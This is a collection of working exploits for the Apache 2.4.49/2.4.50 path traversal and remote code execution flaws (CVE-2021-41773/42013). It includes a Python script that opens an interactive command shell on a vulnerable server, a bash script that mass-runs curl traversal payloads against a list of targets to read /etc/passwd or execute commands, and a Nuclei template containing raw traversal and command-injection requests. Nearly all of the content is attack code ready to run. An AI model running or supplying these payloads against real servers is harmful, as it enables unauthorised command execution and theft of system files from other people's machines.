CVE-2021-41773

python3 50512.py

Code py

# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell


#!/usr/bin/env python3
#coding: utf-8

import os
import re
import sys
import time
import requests
from colorama import Fore,Style


header = '''\033[1;91m

     ▄▄▄       ██▓███   ▄▄▄       ▄████▄   ██░ ██ ▓█████     ██▀███   ▄████▄  ▓█████
    ▒████▄    ▓██░  ██▒▒████▄    ▒██▀ ▀█  ▓██░ ██▒▓█   ▀    ▓██ ▒ ██▒▒██▀ ▀█  ▓█   ▀
    ▒██  ▀█▄  ▓██░ ██▓▒▒██  ▀█▄  ▒▓█    ▄ ▒██▀▀██░▒███      ▓██ ░▄█ ▒▒▓█    ▄ ▒███
    ░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█  ▄    ▒██▀▀█▄  ▒▓▓▄ ▄██▒▒▓█  ▄
    ▓█   ▓██▒▒██▒ ░  ░ ▓█   ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒   ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒
    ▒▒   ▓▒█░▒▓▒░ ░  ░ ▒▒   ▓▒█░░ ░▒ ▒  ░ ▒ ░░▒░▒░░ ▒░ ░   ░ ▒▓ ░▒▓░░ ░▒ ▒  ░░░ ▒░ ░
    ▒   ▒▒ ░░▒ ░       ▒   ▒▒ ░  ░  ▒    ▒ ░▒░ ░ ░ ░  ░     ░▒ ░ ▒░  ░  ▒    ░ ░  ░
    ░   ▒   ░░         ░   ▒   ░         ░  ░░ ░   ░        ░░   ░ ░           ░
''' + Style.RESET_ALL


if len(sys.argv) < 2 :
    print( 'Use: python3 file.py ip:port ' )
    sys.exit()

def end():
    print("\t\033[1;91m[!] Bye bye !")
    time.sleep(0.5)
    sys.exit(1)

def commands(url,command,session):
    directory = mute_command(url,'pwd')
    user = mute_command(url,'whoami')
    hostname = mute_command(url,'hostname')
    advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)')
    command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}")
    command = f"echo; {command};"
    req = requests.Request('POST', url=url, data=command)
    prepare = req.prepare()
    prepare.url = url
    response = session.send(prepare, timeout=5)
    output = response.text
    print(output)
    if 'clear' in command:
        os.system('/usr/bin/clear')
        print(header)
    if 'exit' in command:
        end()

def mute_command(url,command):
    session = requests.Session()
    req = requests.Request('POST', url=url, data=f"echo; {command}")
    prepare = req.prepare()
    prepare.url = url
    response = session.send(prepare, timeout=5)
    return response.text.strip()


def exploitRCE(payload):
    s = requests.Session()
    try:
        host = sys.argv[1]
        if 'http' not in host:
            url = 'http://'+ host + payload
        else:
            url = host + payload
        session = requests.Session()
        command = "echo; id"
        req = requests.Request('POST', url=url, data=command)
        prepare = req.prepare()
        prepare.url = url
        response = session.send(prepare, timeout=5)
        output = response.text
        if "uid" in output:
            choice = "Y"
            print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host)
            print("[!] Sortie:\n\n" + Fore.YELLOW + output )
            choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
            if choice.lower() in ['','y','yes']:
                while True:
                    commands(url,command,session)
            else:
                end()
        else :
            print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host)
    except KeyboardInterrupt:
        end()

def main():
    try:
        apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
        apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
        payloads = [apache2449_payload,apache2450_payload]
        choice = len(payloads) + 1
        print(header)
        print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE")
        while choice >= len(payloads) and choice >= 0:
            choice = int(input('[~] Choice : '))
            if choice < len(payloads):
                exploitRCE(payloads[choice])
    except KeyboardInterrupt:
            print("\n\033[1;91m[!] Bye bye !")
            time.sleep(0.5)
            sys.exit(1)

if __name__ == '__main__':
    main()

bash 50383.sh

Code sh

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

nuclei -id CVE-2021-41773 -u https://your-target

Template yaml

id: CVE-2021-41773

info:
  name: Apache 2.4.49 - Path Traversal and Remote Code Execution
  author: daffainfo,666asd
  severity: high
  description: |
    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Upgrade Apache to version 2.4.50 or apply the relevant patch provided by the vendor.
  reference:
    - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
    - https://twitter.com/ptswarm/status/1445376079548624899
    - https://twitter.com/h4x0r_dz/status/1445401960371429381
    - https://github.com/blasty/CVE-2021-41773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41773
    cwe-id: CWE-22
    epss-score: 0.99992
    epss-percentile: 0.99986
    cpe: cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: http_server
    shodan-query:
      - Apache 2.4.49
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2021,cve,lfi,rce,apache,misconfig,traversal,kev,vkev,vuln
variables:
  cmd: "echo COP-37714-1202-EVC | rev"

http:
  - raw:
      - |
        GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        echo Content-Type: text/plain; echo; {{cmd}}

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        name: RCE
        words:
          - "CVE-2021-41773-POC"

      - type: regex
        name: LFI
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022029508487b35d60351553e8ee3861a23db783ca95c171ea501bb62b8824441f56022100bfbaf8a4fcfc426dda34e6adcdfd8aaa27861fc34f86bfd62fe345979b8937d8:922c64590222798bb761d5b6d8e72950